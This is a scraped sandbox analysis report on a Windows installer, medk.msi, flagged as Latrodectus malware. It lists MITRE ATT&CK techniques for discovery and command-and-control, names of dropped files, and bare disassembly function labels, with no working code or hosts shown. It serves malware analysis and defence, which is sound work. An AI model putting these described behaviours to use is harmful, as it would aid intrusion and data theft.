Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report medk.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Latrodectus

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6d8c51.rbs

C:\Users\user\AppData\Roaming\tab.dll

C:\Windows\Installer\6d8c4f.msi

C:\Windows\Installer\MSI8D3A.tmp

C:\Windows\Installer\MSI8D89.tmp

C:\Windows\Installer\MSI8DD8.tmp

C:\Windows\Installer\MSI8E17.tmp

C:\Windows\Installer\MSI8E67.tmp

C:\Windows\Installer\MSI8F42.tmp

C:\Windows\Installer\SourceHash{5AB6B0C5-5CD6-4CF7-ABF4-4E467A0D78CE}

C:\Windows\Installer\inprogressinstallinfo.ipi

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

C:\Windows\Temp\~DF3166D2D7A57CC204.TMP

C:\Windows\Temp\~DF4DA8C45DC3BE49B0.TMP

C:\Windows\Temp\~DF912E814799C9CDAF.TMP

C:\Windows\Temp\~DFA5E5BD148ABA60C5.TMP

Windows Analysis Report
medk.msi

Function 002F4BA0 Relevance: 36.5, APIs: 24, Instructions: 502
comCOMMON

Function 002F6A50 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 461
COMMON

Function 002F57C0 Relevance: 6.0, APIs: 4, Instructions: 35
COMMON

Function 002FCDB0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
COMMON

Function 002F5E40 Relevance: 4.6, APIs: 3, Instructions: 85
COMMON

Function 0032591D Relevance: 2.6, APIs: 2, Instructions: 67
COMMONLIBRARYCODE

Function 003270BB Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 002F52F0 Relevance: 54.7, APIs: 14, Strings: 17, Instructions: 402
libraryloadersleepCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre